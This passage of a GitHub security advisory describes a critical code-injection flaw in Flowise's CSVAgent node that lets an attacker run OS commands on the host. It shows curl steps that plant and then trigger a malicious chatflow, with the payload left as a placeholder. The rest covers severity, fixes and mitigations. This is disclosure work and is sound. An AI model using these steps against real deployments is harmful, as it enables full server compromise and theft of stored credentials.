user) plants the flow.\n# evil-csvagent-flow.json is a chatflow whose csvAgent node has\n# inputs.csvFile = \"data:text/csv;base64,A,\u003ccomma-free python payload\u003e,IGNORED\"\ncurl -X POST https://target/api/v1/chatflows \\\n -H \"Authorization: Bearer \u003capi-key with chatflows:create\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d @evil-csvagent-flow.json\n# \u2192 returns chatflow id, e.g. \"\u003cflow-uuid\u003e\"\n\n# Step 2 \u2014 anyone, no auth (the route is whitelisted at\n# packages/server/src/utils/constants.ts:12) triggers execution:\ncurl -X POST https://target/api/v1/prediction/\u003cflow-uuid\u003e \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"question\":\"go\"}\u0027\n```\n\nStep 1 is the only authenticated step; Step 2 is unauthenticated when\n`chatflow.apikeyid` is unset (the default for newly created chatflows).\n\n### Impact\n\n- **Class:** Remote Code Execution via Python-template injection escaping the\n Pyodide sandbox through the `js` bridge.\n- **Affected:** every Flowise deployment that exposes a chatflow containing a\n `CSVAgent` node where `csvFile` is operator-supplied (i.e., overridable via\n `nodeOverrides` for the API caller, or planted by any user with chatflow\n edit permission).\n- **Prerequisites:** one user with `chatflows:create` / `chatflows:update` /\n `agentflows:create` / `agentflows:update` to plant the chatflow once. The\n trigger is unauthenticated when the chatflow has no `apikeyid` set (the\n default for newly created chatflows).\n- **Result:** arbitrary OS-command execution as the Flowise process. Direct\n access to Flowise\u0027s encrypted-credentials key file, the entire database,\n the host filesystem, and any network resource the host can reach.\n\n### Metadata\n\n- **Affected versions:** Confirmed at commit\n `a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d` (main, 2026-04-28) and at\n `flowise@3.1.2`. The vulnerable code (`splitDataURI.pop()` + template-string\n interpolation) appears unchanged across this range. Earlier 3.x versions\n with the same data-URI parsing pattern are also believed to be affected,\n but I did not verify each historical tag.\n- **Fixed version:** Unpatched at the audited commit.\n- **CVSS v3.1:**\n `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` \u2192 Base score **9.9\n (Critical)**.\n - AV:N \u2014 public `/api/v1/prediction/:id` trigger.\n - AC:L \u2014 deterministic; no race / timing.\n - PR:L \u2014 one user with `chatflows:create` (or equivalent) plants the\n chatflow. In OSS deployments, any registered user typically has this.\n - UI:N \u2014 no user interaction required at trigger time.\n - S:C \u2014 Pyodide\u0027s WASM/Python sandbox is the intended security authority\n for this code path; the `js` bridge escape and the validator bypass break\n out to the Node host process.\n - C:H / I:H / A:H \u2014 full host compromise.\n- **CWE:** CWE-94 (Improper Control of Generation of Code: \u0027Code Injection\u0027);\n more specifically CWE-95 (Improper Neutralization of Directives in\n Dynamically Evaluated Code: \u0027Eval Injection\u0027).\n\n### Remediation\n\n**Maintainer fix (preferred \u2014 eliminates string-interpolation entirely):**\npass the base64 value through Pyodide\u0027s `globals.set` API instead of\ntemplate-string interpolation. In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`,\nreplace the construction at lines 156\u2013171 with something like:\n\n```ts\nconst pyodide = await LoadPyodide()\npyodide.globals.set(\u0027base64_string\u0027, base64String)\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)\n```\n\nThis keeps the value as a Python `str` object that never enters the source\ntext. Apply the same change to `AirtableAgent.ts` if it follows the same\npattern.\n\n**Defense in depth (recommended as well):**\n1. Validate `base64String` against `^[A-Za-z0-9+/=]*$` before interpolation\n (rejects every escape character used in the PoC).\n2. Disable Pyodide\u0027s `js` module on load. Pyodide supports `loadPyodide({ jsglobals: {} })`\n or the `js`-module-removal recipe; either prevents the bridge to\n `globalThis.process` on Node.js. Apply in\n `packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide`.\n3. Run `validatePythonCodeForDataFrame` (or a stricter equivalent) over the\n bootstrap template, not only over the LLM-emitted code. The current\n ordering inverts the trust assumption.\n4. Add a positive allow-list to `validateCustomReadCSVFunction` enumerating\n only safe pandas readers (e.g., `read_csv` and column-typed forms);\n exclude `read_pickle`, `read_html`, `read_xml`, `read_parquet`,\n `read_orc`, `read_feather`, `read_json` (these are independently\n exploitable \u2014 see S2/S3 in the submission roadmap).\n\n**User mitigations until a patch ships:**\n- Set `chatflow.apikeyid` on every chatflow that uses CSVAgent so\n `validateFlowAPIKey` enforces auth on `/api/v1/prediction/:id`.\n- Set `chatbotConfig.allowedOrigins` to a strict list (note: this only\n defends against browser callers, not curl/server-side).\n- Restrict `chatflows:create` / `agentflows:create` permissions to trusted\n users only.\n- Where possible, strip `csvFile` from the `nodeOverrides` allow-list on\n affected chatflows so it cannot be supplied at prediction time.",
"id": "GHSA-4j8x-x6v7-w9rq",
"modified": "2026-08-04T17:43:48Z",
"published": "2026-08-04T17:43:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6499"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.